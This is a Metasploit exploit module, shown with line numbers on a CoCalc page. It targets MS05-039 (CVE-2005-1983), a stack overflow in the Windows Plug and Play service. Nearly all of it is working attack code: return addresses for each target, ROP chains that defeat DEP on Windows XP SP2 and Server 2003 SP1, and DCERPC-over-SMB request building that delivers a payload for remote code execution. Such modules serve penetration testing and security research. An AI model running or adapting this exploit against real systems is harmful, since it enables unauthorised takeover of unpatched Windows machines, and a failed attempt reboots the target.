CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GoodRanking
8

9
  include Msf::Exploit::Remote::DCERPC
10
  include Msf::Exploit::Remote::SMB::Client
11

12

13
  def initialize(info = {})
14
    super(update_info(info,
15
      'Name'           => 'MS05-039 Microsoft Plug and Play Service Overflow',
16
      'Description'    => %q{
17
          This module exploits a stack buffer overflow in the Windows Plug
18
        and Play service. This vulnerability can be exploited on
19
        Windows 2000 without a valid user account.
20

21
        NOTE: Since the PnP service runs inside the service.exe process, a failed
22
        exploit attempt will cause the system to automatically reboot.
23
      },
24
      'Author'         => [ 'hdm', 'cazz' ],
25
      'License'        => MSF_LICENSE,
26
      'References'     =>
27
        [
28
          [ 'CVE', '2005-1983' ],
29
          [ 'OSVDB', '18605' ],
30
          [ 'BID', '14513' ],
31
          [ 'MSB', 'MS05-039' ]
32
        ],
33
      'DefaultOptions' =>
34
        {
35
          'EXITFUNC' => 'thread',
36
        },
37
      'Privileged'     => true,
38
      'Payload'        =>
39
        {
40
          'Space'    => 1000,
41
          'BadChars' => "\x00",
42
          'StackAdjustment' => -3500,
43
        },
44
      'Platform'       => 'win',
45
      'Targets'        =>
46
        [
47
          [
48
            'Windows 2000 SP0-SP4', # Tested OK - 11/25/2005 hdm
49
            {
50
              'Ret'      => 0x767a38f6, # umpnpmgr.dll
51
            },
52
          ],
53
          [
54
            'Windows 2000 SP4 French',
55
            {
56
              'Ret'      => 0x767438f6, # French target by ExaProbe <[email protected]>
57
            },
58
          ],
59
          [
60
            'Windows 2000 SP4 Spanish',
61
            {
62
              'Ret'      => 0x767738f6, # umpnpmgr.dll
63
            },
64
          ],
65
          [
66
            # Tested on: English/French/German/Dutch/Finnish/Greek/Polish/Portuguese/Hungarian/Korean/Chinese/Arabic/Turkish/Russian
67
            'Windows 2000 SP4 Universal',
68
            {
69
              'Ret'      => 0x01013C79, # [Pita] [Houmous] <[email protected]>
70
            },
71
          ],
72
          [
73
            'Windows 2000 SP0-SP4 German',
74
            {
75
              'Ret'      => 0x767338f6, # German target by Michael Thumann <[email protected]>
76
            },
77
          ],
78
          [
79
            'Windows 2000 SP0-SP4 Italian',
80
            {
81
              'Ret'      => 0x7677366f, # acaro <[email protected]>
82
            },
83
          ],
84
          [
85
            'Windows XP SP1 English',
86
            {
87
              'Ret'      => 0x758c572a, # pop edi / pop ebx / ret in umpnpmgr.dll v5.1.2600.1106
88
              'Pipe'     => 'ntsvcs',
89
              'Offset'   => 16,
90
            }
91
          ],
92
          # NOTE: XP SP2, Server 2003 (and SP1) require an Administrator account to access
93
          # the vulnerable functionality.
94
          [
95
            'Windows XP SP2 English (Requires Admin)',
96
            # SafeSEH enabled, DEP AlwaysOn
97
            {
98
              #'Ret'       => 0x41424344,
99
              'Ret'       => 0x758d2bb3,  # pop eax / ret 0x8
100
              'Pipe'      => 'ntsvcs',
101
              'PtrToZero' => 0x758c0170,  # PE data of umpnpmgr.dll v5.1.2600.2180
102
              'Offset'    => 72,
103
              'EspOffset' => 108,
104
              'RopStack'  =>
105
                # All addresses are from umpnpmgr.dll v5.2.3790.1830
106
                [
107
                  #
108
                  # Step 1. Allocate an executable heap with HeapCreate
109
                  #
110
                  # Resolve HeapCreate from import
111
                  0x758c1148,            # pointer to HeapCreate import
112
                  0x758c2950,            # mov eax, [eax] / pop ebp / ret 0x8
113
                  0x41414141,            # scratch
114
                  0x41414141,            # scratch
115
                  #0x758da008,            # becomes ebp (something writable)
116
                  0x758da1c8-0xc,        # becomes ebp (writable, used later)
117

118
                  # Call HeapCreate
119
                  0x758cb728,            # call eax / mov [ebp+0xc],eax / jmp... / mov eax,[ebp+0xc] / pop edi,esi,ebx,ebp / ret 0xc
120
                  0x41414141,            # scratch
121
                  0x41414141,            # scratch
122
                  0x01040110,            # flOptions (gets & with 0x40005)
123
                  0x01010101,
124
                  0x01010101,
125
                  0x758ce552,            # becomes edi - pop edi,esi / ret
126
                  0x758cdd7e,            # becomes esi - pop esi,ebx,ebp / ret 0x4
127
                  0x41414141,            # becomes ebx
128
                  0x41414141,            # becomes ebp
129

130
                  # Don't bother calling HeapAlloc, just add 0x8000 to the Heap Base
131
                  0x758d45f3,            # or eax,0x8000 / pop ebp / ret 0x4
132
                  0x41414141,            # scratch
133
                  0x41414141,            # scratch
134
                  0x41414141,            # scratch
135
                  0x41414141,            # becomes ebp
136

137
                  # save eax to ebx
138
                  0x758ce0d5,            # push eax / call esi
139
                  0x41414141,            # scratch
140
                  0x758da008+0x18,       # becomes ebp
141

142
                  # Setup eax to load our saved stack pointer
143
                  0x758d18db,            # pop eax / ret 0xc
144
                  0x41414141,            # scratch
145
                  0x758c524e,            # becomes eax - pop ebp / ret 0x8
146
                  #0x758c2423,            # becomes eax - pop esi,ebp / ret 0x8
147

148
                  # Store a pointer to the stack to a known address (ebp-0x18), flows to eax after
149
                  0x758c1281,            # mov [ebp-0x18],esp / push eax / mov eax,[ebp-4] / mov [ebp-4],0xffffffff / mov [ebp-8],eax / lea eax,[ebp-0x10] / mov fs:[0],eax / ret
150
                  0x41414141,            # scratch
151
                  0x41414141,            # scratch
152
                  0x41414141,            # scratch
153
                  #0xcafebabe,            # becomes esi
154
                  0x758da008-0x10,       # becomes ebp
155

156
                  # Call lstrcpyW to copy shellcode into executable heap
157
                  0x758c542e,            # push [ebp+0x10] / push ebx / call lstrcpyW / push ebx / call edi
158
                  0x41414141,            # scratch
159
                  0x41414141,            # scratch
160

161
                  # Skip the junk
162
                  0x758c96f6,            # add al,0x3b / ret
163

164
                  # Call the executable segment!
165
                  0x758c3b62             # call eax
166
                ]
167
            }
168
          ],
169
          [
170
            'Windows Server 2003 SP0 English (Requires Admin)',
171
            # SafeSEH unsupported, DEP unsupported
172
            {
173
              'Ret'       => 0x780df756, # push esp / ret in msvcp60.dll
174
              'Pipe'      => 'ntsvcs',
175
              'PtrToZero' => 0x757702c0, # PE data of umpnpmgr.dll
176
              'Offset'    => 72,
177
            }
178
          ],
179
          [
180
            'Windows Server 2003 SP1 English (Requires Admin)',
181
            # SafeSEH enabled, DEP AlwaysOn
182
            {
183
              'Pipe'      => 'ntsvcs',
184
              # We will need to bypass DEP!
185
              #'Ret'       => 0x41424344,
186
              'Ret'       => 0x757873d5,  # pop eax / ret 0x4
187
              'PtrToZero' => 0x757702c0,  # PE data of umpnpmgr.dll
188
              'Offset'    => 72,          # offset to saved eip
189
              'EspOffset' => 108,         # Offset to where esp ends up pointing
190
              'RopStack'  =>              # NOTE: 0x41414141 will become random data
191
                # All addresses are from umpnpmgr.dll v5.2.3790.1830
192
                [
193
                  #
194
                  # Step 1. Allocate an executable heap with HeapCreate
195
                  #
196
                  # Resolve HeapCreate from import
197
                  0x75771144,            # pointer to HeapCreate import
198
                  0x75772e68,            # mov eax, [eax] / pop ebp / ret
199
                  0x41414141,            # scratch
200
                  0x41414141,            # becomes ebp
201
                  # Call HeapCreate
202
                  0x7578bc37,            # jmp eax
203
                  0x41414141,            # scratch
204
                  0x41414141,            # scratch
205
                  # Save the new heap address in edi
206
                  0x757791d5,            # xchg eax,edi / cmp bh,0xff / ret 0x10
207
                  0x01040110,            # flOptions (gets & with 0x40005)
208
                  0x01010101,
209
                  0x01010101,
210

211
                  #
212
                  # Step 2. Allocate a buffer using this new heap.
213
                  #
214
                  0x757873d5,            # pop eax / ret 0x4
215
                  0x41414141,            # scratch
216
                  0x41414141,            # scratch
217
                  0x41414141,            # scratch
218
                  0x41414141,            # scratch
219
                  # Resolve HeapAlloc from import
220
                  0x7577115c,            # pointer to HeapAlloc import
221
                  0x75772e68,            # mov eax, [eax] / pop ebp / ret
222
                  0x41414141,            # scratch
223
                  0x41414141,            # becomes ebp
224
                  # Save the address of HeapAlloc in esi
225
                  0x75777ae0,            # xchg eax,esi / mov dl,0xff / dec ecx / ret
226
                  0x41414141,            # scratch
227
                  0x41414141,            # scratch
228
                  # Call HeapAlloc
229
                  0x7578bb6b,            # push edi / call esi / pop edi,esi,ebp / ret
230
                  0xffffffff,            # flags
231
                  0x00010001,            # allocation size
232
                  0x0101018d,            # becomes edi / first byte stored
233
                  0x7577835c,            # becomes esi - pop esi / pop ebx / ret
234
                  0x757830c3,            # becomes ebp/eip - pop esi / ret
235

236
                  #
237
                  # Step 3. Save the heap address into ebx
238
                  #
239
                  0x7578308f,            # push eax / mov [0x7578d8e0],edi / mov [0x7578d39c],edi / call esi
240
                  0x41414141,            # scratch
241
                  # Put heap address in edi
242
                  0x757791d5,            # xchg eax,edi / cmp bh,0xff / ret 0x10
243

244
                  #
245
                  # Step 4. Write stub:
246
                  #
247
                  # metasm > lea esi,[esp+4]; _start: lodsb; test al,al; jz _out; stosb; _end: jmp _start; _out:
248
                  # "\x8d\x74\x24\x04\xac\x84\xc0\x74\x03\xaa\xeb\xf8"
249
                  #
250
                  # Store the first byte.
251
                  0x7578be14,            # stosb / ret
252
                  0x41414141,            # scratch
253
                  0x41414141,            # scratch
254
                  0x41414141,            # scratch
255
                  0x41414141,            # scratch
256
                  # Store another byte!
257
                  0x757873d5,            # pop eax / ret 0x4
258
                  0x01010174,            # next byte to write
259
                  0x7578be14,            # stosb / ret
260
                  0x41414141,            # scratch
261
                  # Store another byte!
262
                  0x757873d5,            # pop eax / ret 0x4
263
                  0x01010124,            # next byte to write
264
                  0x7578be14,            # stosb / ret
265
                  0x41414141,            # scratch
266
                  # Store another byte!
267
                  0x757873d5,            # pop eax / ret 0x4
268
                  0x01010104,            # next byte to write
269
                  0x7578be14,            # stosb / ret
270
                  0x41414141,            # scratch
271
                  # Store another byte!
272
                  0x757873d5,            # pop eax / ret 0x4
273
                  0x010101ac,            # next byte to write
274
                  0x7578be14,            # stosb / ret
275
                  0x41414141,            # scratch
276
                  # Store another byte!
277
                  0x757873d5,            # pop eax / ret 0x4
278
                  0x01010184,            # next byte to write
279
                  0x7578be14,            # stosb / ret
280
                  0x41414141,            # scratch
281
                  # Store another byte!
282
                  0x757873d5,            # pop eax / ret 0x4
283
                  0x010101c0,            # next byte to write
284
                  0x7578be14,            # stosb / ret
285
                  0x41414141,            # scratch
286
                  # Store another byte!
287
                  0x757873d5,            # pop eax / ret 0x4
288
                  0x01010174,            # next byte to write
289
                  0x7578be14,            # stosb / ret
290
                  0x41414141,            # scratch
291
                  # Store another byte!
292
                  0x757873d5,            # pop eax / ret 0x4
293
                  0x01010103,            # next byte to write
294
                  0x7578be14,            # stosb / ret
295
                  0x41414141,            # scratch
296
                  # Store another byte!
297
                  0x757873d5,            # pop eax / ret 0x4
298
                  0x010101aa,            # next byte to write
299
                  0x7578be14,            # stosb / ret
300
                  0x41414141,            # scratch
301
                  # Store another byte!
302
                  0x757873d5,            # pop eax / ret 0x4
303
                  0x010101eb,            # next byte to write
304
                  0x7578be14,            # stosb / ret
305
                  0x41414141,            # scratch
306
                  # Store another byte!
307
                  0x757873d5,            # pop eax / ret 0x4
308
                  0x010101f8,            # next byte to write
309
                  0x7578be14,            # stosb / ret
310
                  0x41414141,            # scratch
311

312
                  #
313
                  # Step 5. Finally, call our executable heap buffer.
314
                  #
315
                  0x75783efe             # call ebx
316
                ]
317
            }
318
          ]
319
        ],
320
      'DefaultTarget' => 0,
321
      'DisclosureDate' => '2005-08-09'))
322

323
    register_options(
324
      [
325
        OptString.new('SMBPIPE', [ true,  "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'browser']),
326
      ])
327

328
  end
329

330
  def pnp_probe(req, pipe = datastore['SMBPIPE'])
331

332
    print_status("Connecting to the SMB service...")
333
    begin
334
      connect()
335
      smb_login()
336
    rescue ::Exception => e
337
      print_error("Error: #{e.class} #{e}")
338
    end
339

340
    handle = dcerpc_handle('8d9f4e40-a03d-11ce-8f69-08003e30051b', '1.0', 'ncacn_np', ["\\#{pipe}"])
341
    print_status("Binding to #{handle} ...")
342
    dcerpc_bind(handle)
343
    print_status("Bound to #{handle} ...")
344

345
    # CS_DES
346
    cs_des =
347
      NDR.long(0) + # CSD_SignatureLength
348
      NDR.long(0) + # CSD_LegacyDataOffset
349
      NDR.long(req.length) + # CSD_LegacyDataSize
350
      NDR.long(0) + # CSD_Flags
351
      rand_text(16) + # GUID
352
      req # CSD_LegacyData
353

354
    # PNP_QueryResConfList(L"a\\b\\c", 0xffff, (char *)pClassResource, 1000, foo, 4, 0);
355

356
    # ResourceName:
357
    stubdata =
358
      NDR.UnicodeConformantVaryingString("a\\b\\c") +  # ResourceName, passes both IsLegalDeviceId and IsRootDeviceID
359
      NDR.long(0xffff) +                               # ResourceID: ResType_ClassSpecific
360
      NDR.UniConformantArray(cs_des) +                 # Resource (our CS_DES structure)
361
      NDR.long(cs_des.length) +                        # ResourceLen
362
      NDR.long(4) +                                    # OutputLen (at least 4)
363
      NDR.long(0)                                      # Flags
364

365
    print_status("Calling the vulnerable function...")
366

367
    begin
368
      dcerpc.call(0x36, stubdata)
369
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
370
      print_status('Server did not respond, this is expected')
371
    rescue => e
372
      if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
373
        print_status('Server disconnected, this is expected')
374
      else
375
        raise e
376
      end
377
    end
378

379
    # Cleanup
380
    disconnect
381

382
    if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil and
383
        dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00")
384
      return true
385
    else
386
      return false
387
    end
388
  end
389

390
  def check
391
    if (pnp_probe('A'))
392
      return Exploit::CheckCode::Vulnerable
393
    end
394
    return Exploit::CheckCode::Safe
395
  end
396

397
  def exploit
398
    # If PtrToZero is set, we use saved-ret-overwrite instead of SEH.
399
    if target['PtrToZero'] then
400
      eip_off = target['Offset']
401
      nul_off = eip_off + 8
402

403
      # DEP Bypass version (2003 SP1)
404
      if target['RopStack']
405
        esp_off = target['EspOffset']
406

407
        # Start with a randomized base buffer
408
        rop_length = target['RopStack'].length * 4
409
        print_status("ROP Data is %u bytes" % rop_length)
410
        buf = rand_text(esp_off + rop_length)
411

412
        # Put the rest of the stack data at where esp ends up...
413
        target['RopStack'].each_with_index { |el,idx|
414
          if el != 0x41414141
415
            buf[esp_off + (idx*4), 4] = [el].pack('V')
416
          end
417
        }
418
      else
419
        # Start with a randomized base buffer
420
        buf = rand_text(nul_off)
421
      end
422

423
      # This becomes EIP
424
      buf[eip_off,4] = [target.ret].pack('V')
425

426
      # Pointer to NULL (4 zero bytes)
427
      buf[nul_off,4] = [target['PtrToZero']].pack('V')
428
    else
429
      # Pad the string up to reach our SEH frame
430
      buf = rand_text(target['Offset'] ? target['Offset'] : 56)
431

432
      # Jump over the address and our invalid pointer to the payload
433
      buf << Rex::Arch::X86.jmp_short('$+32')
434
      buf << rand_text(2)
435

436
      # The SEH handler pointer
437
      buf << [target.ret].pack('V')
438

439
      # Some padding to reach the next pointer
440
      buf << rand_text(20)
441

442
      # ResourceName - cause access violation on RtlInitUnicodeString
443
      buf << rand_text(3) + "\xff"
444
    end
445

446
    # Append the encoded payload and we are good to go!
447
    buf << payload.encoded
448

449
    # Determine which pipe to use
450
    pipe = target['Pipe'] ? target['Pipe'] :  datastore['SMBPIPE']
451

452
    pnp_probe(buf, pipe)
453

454
    print_status('The server should have executed our payload')
455

456
    handler
457
  end
458
end
459

460